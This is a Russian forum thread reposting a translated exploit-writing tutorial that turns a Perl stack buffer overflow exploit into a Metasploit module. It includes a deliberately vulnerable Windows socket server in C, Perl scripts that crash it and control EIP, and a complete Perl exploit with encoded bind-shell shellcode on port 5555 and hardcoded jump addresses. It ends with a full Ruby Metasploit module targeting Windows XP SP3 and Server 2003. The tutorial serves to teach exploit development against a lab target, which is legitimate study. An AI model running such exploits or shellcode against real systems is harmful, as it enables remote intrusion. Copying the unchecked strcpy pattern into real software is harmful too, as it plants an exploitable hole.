|
|
![]() |
|
Опции темы | Поиск в этой теме | Опции просмотра |
![]() |
#1 | |||||||
![]() Автор: Peter Van Eeckhoutte (corelanc0d3r)
Перевод: p(eaZ 9/2011 В первых частях руководства, мы обсудили некоторые общие уязвимости, которые могут привести к двум типам эксплойтов: стековое переполнение буфера (с прямой перезаписью EIP), и буферное переполнение с использованием SEH chain. В моих примерах я использовал Perl, чтобы продемонстрировать, как создать рабочий эксплойт. Очевидно, написание эксплойтов не ограничивается одним лишь Perl. Я предполагаю, что для этих целей может быть использован любой из языков программирования… Однако, не зависимо от выбора языка эксплойт будет работать исправно, но может и лучше если включить его в состав Metasploit Framework и использовать в своих интересах некоторые из уникальных особенностей Metasploit. Поэтому сейчас я собираюсь объяснить, как переписать свой эксплойт в качестве модуля для metasploit. Модули Metasploit пишуться на Ruby. Но даже если вы не знакомы с Ruby, вы сможете написать модуль для своего эксплойта, прочитав данную часть руководства. Типичный модуль эксплойта в metasploit состоит из следующих компонентов:
Вы можете помещать комментарии в свой metasploit модуль используя символ #. Это все, что мы должны знать на данный момент, а теперь давайте пошагово рассмотрим построения модуля для нашего эксплойта. Шаг первый: создание эксплойта для простого уязвимого сервера Мы будем использовать следующий уязвимый сервер, написанный на C: Код:
#include <iostream.h> #include <winsock.h> #include <windows.h> //load windows socket #pragma comment(lib, "wsock32.lib") //Define Return Messages #define SS_ERROR 1 #define SS_OK 0 void pr( char *str) { char buf[500]=""; strcpy(buf,str); } void sError(char *str) { MessageBox (NULL, str, "socket Error" ,MB_OK); WSACleanup(); } int main(int argc, char **argv) { WORD sockVersion; WSADATA wsaData; int rVal; char Message[5000]=""; char buf[2000]=""; u_short LocalPort; LocalPort = 200; //wsock32 initialized for usage sockVersion = MAKEWORD(1,1); WSAStartup(sockVersion, &wsaData); //create server socket SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, 0); if(serverSocket == INVALID_SOCKET) { sError("Failed socket()"); return SS_ERROR; } SOCKADDR_IN sin; sin.sin_family = PF_INET; sin.sin_port = htons(LocalPort); sin.sin_addr.s_addr = INADDR_ANY; //bind the socket rVal = bind(serverSocket, (LPSOCKADDR)&sin, sizeof(sin)); if(rVal == SOCKET_ERROR) { sError("Failed bind()"); WSACleanup(); return SS_ERROR; } //get socket to listen rVal = listen(serverSocket, 10); if(rVal == SOCKET_ERROR) { sError("Failed listen()"); WSACleanup(); return SS_ERROR; } //wait for a client to connect SOCKET clientSocket; clientSocket = accept(serverSocket, NULL, NULL); if(clientSocket == INVALID_SOCKET) { sError("Failed accept()"); WSACleanup(); return SS_ERROR; } int bytesRecv = SOCKET_ERROR; while( bytesRecv == SOCKET_ERROR ) { //receive the data that is being sent by the client max limit to 5000 bytes. bytesRecv = recv( clientSocket, Message, 5000, 0 ); if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET ) { printf( "\nConnection Closed.\n"); break; } } //Pass the data received to the function pr pr(Message); //close client socket closesocket(clientSocket); //close server socket closesocket(serverSocket); WSACleanup(); return SS_OK; } Когда мы пошлем 1000 байтов на сервер, он упадет. Следующий perl-скрипт продемонстрирует крушение: Код:
#!usr/bin/perl use strict; use Socket; my $junk = "\x41" x1000; # initialize host and port my $host = shift || 'localhost'; my $port = shift || 200; my $proto = getprotobyname('tcp'); # get the port address my $iaddr = inet_aton($host); my $paddr = sockaddr_in($port, $iaddr); print "[+] Setting up socket\n"; # create the socket, connect to the port socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; print "[+] Connecting to $host on port $port\n"; connect(SOCKET, $paddr) or die "connect: $!"; print "[+] Sending payload\n"; print SOCKET $junk."\n"; print "[+] Payload sent\n"; close SOCKET or die "close: $!"; Цитата:
Код:
#!usr/bin/perl use strict; use Socket; my $totalbuffer=1000; my $junk = "\x41" x 504; my $eipoverwrite = "\x42" x 4; my $junk2 = "\x43" x ($totalbuffer-length($junk.$eipoverwrite)); # initialize host and port my $host = shift || 'localhost'; my $port = shift || 200; my $proto = getprotobyname('tcp'); # get the port address my $iaddr = inet_aton($host); my $paddr = sockaddr_in($port, $iaddr); print "[+] Setting up socket\n"; # create the socket, connect to the port socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; print "[+] Connecting to $host on port $port\n"; connect(SOCKET, $paddr) or die "connect: $!"; print "[+] Sending payload\n"; print SOCKET $junk.$eipoverwrite.$junk2."\n"; print "[+] Payload sent\n"; close SOCKET or die "close: $!"; Цитата:
Измените $totalbuffer на 2000, тем самым, выйдя за пределы, и содержимое ESP покажет, что мы можем заполнить память C-строкой до esp+5d3 (1491 байт). Это будет местом для шеллкода. Все, что нам нужно, это перезаписать EIP на jmp esp (или call esp, или на что-либо подобное), и поместить наш шеллкод на место C-строки. Используя findjmp, мы нашли рабочий адрес для нашего сервера Windows 2003 R2 SP2: Цитата:
Наш заключительный эксплойт на perl, с привязыванием командной оболочки (bind shell), на tcp-порт 5555: Код:
!#usr/bin/perl # print " --------------------------------------\n"; print " Writing Buffer Overflows\n"; print " Peter Van Eeckhoutte\n"; print " http://www.corelan.be:8800\n"; print " --------------------------------------\n"; print " Exploit for vulnserver.c\n"; print " --------------------------------------\n"; use strict; use Socket; my $junk = "\x90" x 504; #jmp esp (from ws2_32.dll) my $eipoverwrite = pack('V',0x71C02B67); #add some NOP's my $shellcode="\x90" x 50; # windows/shell_bind_tcp - 702 bytes # http://www.metasploit.com # Encoder: x86/alpha_upper # EXITFUNC=seh, LPORT=5555, RHOST= $shellcode=$shellcode."\x89\xe0\xd9\xd0\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43" . "\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" . "\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" . "\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" . "\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42\x4a" . "\x4a\x4b\x50\x4d\x4d\x38\x4c\x39\x4b\x4f\x4b\x4f\x4b\x4f" . "\x45\x30\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47\x35" . "\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44\x38\x45\x51\x4a\x4f" . "\x4c\x4b\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x43\x31" . "\x4a\x4b\x47\x39\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e" . "\x50\x31\x49\x50\x4a\x39\x4e\x4c\x4c\x44\x49\x50\x42\x54" . "\x45\x57\x49\x51\x48\x4a\x44\x4d\x45\x51\x48\x42\x4a\x4b" . "\x4c\x34\x47\x4b\x46\x34\x46\x44\x51\x38\x42\x55\x4a\x45" . "\x4c\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x43\x56\x4c\x4b" . "\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b" . "\x44\x43\x46\x4c\x4c\x4b\x4b\x39\x42\x4c\x51\x34\x45\x4c" . "\x45\x31\x49\x53\x46\x51\x49\x4b\x43\x54\x4c\x4b\x51\x53" . "\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c" . "\x4e\x4d\x4c\x4b\x51\x50\x44\x48\x51\x4e\x43\x58\x4c\x4e" . "\x50\x4e\x44\x4e\x4a\x4c\x46\x30\x4b\x4f\x4e\x36\x45\x36" . "\x51\x43\x42\x46\x43\x58\x46\x53\x47\x42\x45\x38\x43\x47" . "\x44\x33\x46\x52\x51\x4f\x46\x34\x4b\x4f\x48\x50\x42\x48" . "\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x48\x56" . "\x51\x4f\x4c\x49\x4d\x35\x43\x56\x4b\x31\x4a\x4d\x45\x58" . "\x44\x42\x46\x35\x43\x5a\x43\x32\x4b\x4f\x4e\x30\x45\x38" . "\x48\x59\x45\x59\x4a\x55\x4e\x4d\x51\x47\x4b\x4f\x48\x56" . "\x51\x43\x50\x53\x50\x53\x46\x33\x46\x33\x51\x53\x50\x53" . "\x47\x33\x46\x33\x4b\x4f\x4e\x30\x42\x46\x42\x48\x42\x35" . "\x4e\x53\x45\x36\x50\x53\x4b\x39\x4b\x51\x4c\x55\x43\x58" . "\x4e\x44\x45\x4a\x44\x30\x49\x57\x46\x37\x4b\x4f\x4e\x36" . "\x42\x4a\x44\x50\x50\x51\x50\x55\x4b\x4f\x48\x50\x45\x38" . "\x49\x34\x4e\x4d\x46\x4e\x4a\x49\x50\x57\x4b\x4f\x49\x46" . "\x46\x33\x50\x55\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x51\x59" . "\x4c\x46\x51\x59\x51\x47\x4b\x4f\x49\x46\x46\x30\x50\x54" . "\x46\x34\x50\x55\x4b\x4f\x48\x50\x4a\x33\x43\x58\x4b\x57" . "\x43\x49\x48\x46\x44\x39\x51\x47\x4b\x4f\x4e\x36\x46\x35" . "\x4b\x4f\x48\x50\x43\x56\x43\x5a\x45\x34\x42\x46\x45\x38" . "\x43\x53\x42\x4d\x4b\x39\x4a\x45\x42\x4a\x50\x50\x50\x59" . "\x47\x59\x48\x4c\x4b\x39\x4d\x37\x42\x4a\x47\x34\x4c\x49" . "\x4b\x52\x46\x51\x49\x50\x4b\x43\x4e\x4a\x4b\x4e\x47\x32" . "\x46\x4d\x4b\x4e\x50\x42\x46\x4c\x4d\x43\x4c\x4d\x42\x5a" . "\x46\x58\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x43\x42\x4b\x4e" . "\x48\x33\x42\x36\x4b\x4f\x43\x45\x51\x54\x4b\x4f\x48\x56" . "\x51\x4b\x46\x37\x50\x52\x50\x51\x50\x51\x50\x51\x43\x5a" . "\x45\x51\x46\x31\x50\x51\x51\x45\x50\x51\x4b\x4f\x4e\x30" . "\x43\x58\x4e\x4d\x49\x49\x44\x45\x48\x4e\x46\x33\x4b\x4f" . "\x48\x56\x43\x5a\x4b\x4f\x4b\x4f\x50\x37\x4b\x4f\x4e\x30" . "\x4c\x4b\x51\x47\x4b\x4c\x4b\x33\x49\x54\x42\x44\x4b\x4f" . "\x48\x56\x51\x42\x4b\x4f\x48\x50\x43\x58\x4a\x50\x4c\x4a" . "\x43\x34\x51\x4f\x50\x53\x4b\x4f\x4e\x36\x4b\x4f\x48\x50" . "\x41\x41"; # initialize host and port my $host = shift || 'localhost'; my $port = shift || 200; my $proto = getprotobyname('tcp'); # get the port address my $iaddr = inet_aton($host); my $paddr = sockaddr_in($port, $iaddr); print "[+] Setting up socket\n"; # create the socket, connect to the port socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; print "[+] Connecting to $host on port $port\n"; connect(SOCKET, $paddr) or die "connect: $!"; print "[+] Sending payload\n"; print SOCKET $junk.$eipoverwrite.$shellcode."\n"; print "[+] Payload sent\n"; print "[+] Attempting to telnet to $host on port 5555...\n"; system("telnet $host 5555"); close SOCKET or die "close: $!"; Цитата:
После проведения некоторых тестов на Windows XP SP3 (English), мы решаем, что выбранное смещение сохраниться, но адрес jmp должен быть изменен (например, на 0x7C874413). Мы напишем metasploit модуль, который позволит нам выбирать одну из двух целей, и будет использовать правильный адрес jmp. Подгоняем эксплойт к metasploit. Во-первых, мы должны определить тип нашего эксплойта, чтобы определит папку в пределах структуры metasploit, где и будет храниться эксплойт. Если бы наш эксплойт был нацелен на Windows ftp server программы, он должен был бы быть помещен в директории с эксплойтами под windows ftp серверы. Модули Metasploit хранятся в framework3xx, в дирректории под названием /modules/exploits. В этой папке эксплойты разделены в зависимости от операционной системы, а затем от сервисов, на которые они рассчитаны. Наш сервер запускается на windows, таким образом, мы относим его к категории windows. Категория windows уже содержит многие папки (от antivirus до wins), и включает в себя папку misc. Мы отнесем наш эксплойт к misc (или к telnet), потому что он в действительности не принадлежит ни к одному из других типов. Мы создадим свой metasploit модуль под %metasploit %/modules/windows/misc: Цитата:
Код:
# # # Custom metasploit exploit for vulnserver.c # Written by Peter Van Eeckhoutte # # require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Custom vulnerable server stack overflow', 'Description' => %q{ This module exploits a stack overflow in a custom vulnerable server. }, 'Author' => [ 'Peter Van Eeckhoutte' ], 'Version' => '$Revision: 9999 $', 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1400, 'BadChars' => "\x00\xff", }, 'Platform' => 'win', 'Targets' => [ ['Windows XP SP3 En', { 'Ret' => 0x7c874413, 'Offset' => 504 } ], ['Windows 2003 Server R2 SP2', { 'Ret' => 0x71c02b67, 'Offset' => 504 } ], ], 'DefaultTarget' => 0, 'Privileged' => false )) register_options( [ Opt::RPORT(200) ], self.class) end def exploit connect junk = make_nops(target['Offset']) sploit = junk + [target.ret].pack('V') + make_nops(50) + payload.encoded sock.put(sploit) handler disconnect end end
Теперь откройте msfconsole. Если в Вашем сценарии произойдет ошибка, то Вы увидите информацию о ней, в то время как загрузится msfconsole. Если msfconsole был уже загружен, Вы должны будете перезапустить его прежде, чем сможете использовать этот новый модуль (или прежде, чем Вы сможете использовать обновленный модуль, если Вы делали изменения) Провериим эксплойт: Тест №1: Windows XP SP3 Цитата:
Цитата:
Вы можете найти больше информации о Metasploit API (и доступные классы) на официальном сайте проекта по адресу: http://www.metasploit.com/documents/api/msfcore/index.html |
||||||||
![]() |
![]() |
![]() |
#2 |
![]() Эксплойт на руби
PHP код:
Последний раз редактировалось POS_troi; 03.04.2014 в 22:34.. |
|
![]() |
![]() |
![]() |
Опции темы | Поиск в этой теме |
Опции просмотра | |
|
|